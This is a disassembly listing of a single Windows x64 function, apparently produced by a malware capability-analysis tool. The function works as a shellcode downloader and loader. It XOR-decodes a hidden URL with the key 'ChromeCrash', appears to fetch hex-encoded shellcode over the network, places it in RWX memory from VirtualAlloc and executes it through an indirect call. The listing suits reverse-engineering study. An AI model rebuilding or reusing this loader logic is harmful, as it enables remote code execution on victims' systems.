Function at 0x140077070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1402dfc98]
xor rax, rsp
mov qword [rbp + 0x68], rax
xor esi, esi
mov dword [rsp + 0x20], esi
lea ecx, [rsi + 3]
call fcn.1400777c0
call fcn.1400776e0
mov r14, rax
lea rdi, [0x1402e5ae0]
test rax, rax
je 0x14007755d
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movdqa xmm1, xmmword [0x1402c07e0]
movdqu xmmword [rbp - 8], xmm1
mov byte [rbp - 0x18], sil
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
lea r8d, [rsi + 0xb]
lea rdx, str.ChromeCrash
lea rcx, [rbp - 0x58]
call fcn.1400762c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402c07e0]
movdqu xmmword [rbp + 0x58], xmm1
mov byte [rbp + 0x48], sil
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r8d, [rsi + 0x5c]
lea rdx, str.IiAgXw4tDkQtClEoJyYlBAcbGVUXEhYSKAErDg8fLwAKcD4ZNQMvNRAPIh0hBSRfIVYNQjgrOjMxC1YZPBQeFD8FMxI
lea rcx, [rbp - 0x78]
call fcn.1400762c0
nop
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x48]
call fcn.140075a30
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov r9d, esi
mov qword [rsp + 0x38], rsi
mov r10d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], r10
mov byte [rsp + 0x28], r9b
mov dword [rsp + 0x20], 3
mov ebx, esi
cmp qword [rsp + 0x58], rbx
jbe 0x140077214
mov r15, qword [rbp - 0x40]
mov r12, qword [rbp - 0x48]
mov r13, qword [rbp - 0x58]
nop dword [rax]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r8, qword [rsp + 0x48]
lea rcx, [rbp - 0x58]
cmp r15, 0x10
cmovae rcx, r13
xor edx, edx
mov rax, rbx
div r12
movzx ecx, byte [rdx + rcx]
xor cl, byte [r8 + rbx]
cmp r9, r10
jae 0x1400771e6
lea rax, [r9 + 1]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
cmp r10, 0x10
cmovae rax, qword [rsp + 0x28]
mov byte [rax + r9], cl
mov byte [rax + r9 + 1], 0
jmp 0x1400771fb
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x28]
call fcn.140076150
inc rbx
cmp rbx, qword [rsp + 0x58]
jae 0x140077214
mov r10, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
jmp 0x140077190
xor r8d, r8d
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x68]
call fcn.140075a30
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
mov edx, 0x2712
mov rcx, r14
call fcn.14007a630
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14007727f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007727a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140077677
call fcn.1401f6eb0
movdqa xmm0, xmmword [0x1402c07e0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400772d0
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400772ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007767d
call fcn.1401f6eb0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14007730d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077308
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140077683
call fcn.1401f6eb0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14007735b
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077356
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140077689
call fcn.1401f6eb0
lea r8, [0x140077040]
mov edx, 0x4e2b
mov rcx, r14
call fcn.14007a630
lea r8, [rbp - 0x18]
mov edx, 0x2711
mov rcx, r14
call fcn.14007a630
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, r14
call fcn.14007a630
mov rcx, r14
call fcn.140077750
mov r8b, 1
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x28]
call fcn.140075a30
nop
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 8]
call fcn.140076f60
nop
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x38]
call fcn.140075a30
mov rcx, rsi
mov r9, qword [rbp - 0x28]
test r9, r9
je 0x1400773fb
mov rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x38]
nop
lea rax, [rbp - 0x38]
cmp rdx, 0x10
cmovae rax, r8
movzx eax, byte [rax + rcx]
mov byte [rcx + rdi], al
inc rcx
cmp rcx, r9
jb 0x1400773e0
mov rcx, r14
call fcn.1400776b0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14007743e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077439
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007768f
call fcn.1401f6eb0
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140077489
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140077695
call fcn.1401f6eb0
movdqa xmm0, xmmword [0x1402c07e0]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x1400774d5
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400774d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007769b
call fcn.1401f6eb0
movdqa xmm0, xmmword [0x1402c07e0]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140077522
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007751c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400776a1
call fcn.1401f6eb0
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14007755d
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077558
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400776a7
call fcn.1401f6eb0
call fcn.140077760
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140077570
cmp byte [rbx + rdi - 1], 0xa
jne 0x140077594
lea rax, [rbx - 1]
cmp rax, 0x1000
jae 0x140077671
mov byte [rax + rdi], 0
shr rbx, 2
mov rcx, rbx
call fcn.1402085b0
mov r14, rax
test rax, rax
jne 0x1400775bd
lea rcx, [0x1402c07b0]
call fcn.140076ea0
lea eax, [r14 + 1]
jmp 0x140077644
test rbx, rbx
je 0x1400775e1
lea r8, [rsi + r14]
lea rdx, str.x_2hhx
mov rcx, rdi
call fcn.140076f00
inc rsi
add rdi, 4
cmp rsi, rbx
jb 0x1400775c2
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140077619
lea rcx, [0x1402c07c8]
call fcn.140076ea0
mov rcx, r14
call fcn.1401fd8d4
lea eax, [rdi + 1]
jmp 0x140077644
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call fcn.1401f8c80
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call fcn.1401fd8d4
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.1401f6e90
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f7028
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
nop
call fcn.1401fdcf8
int3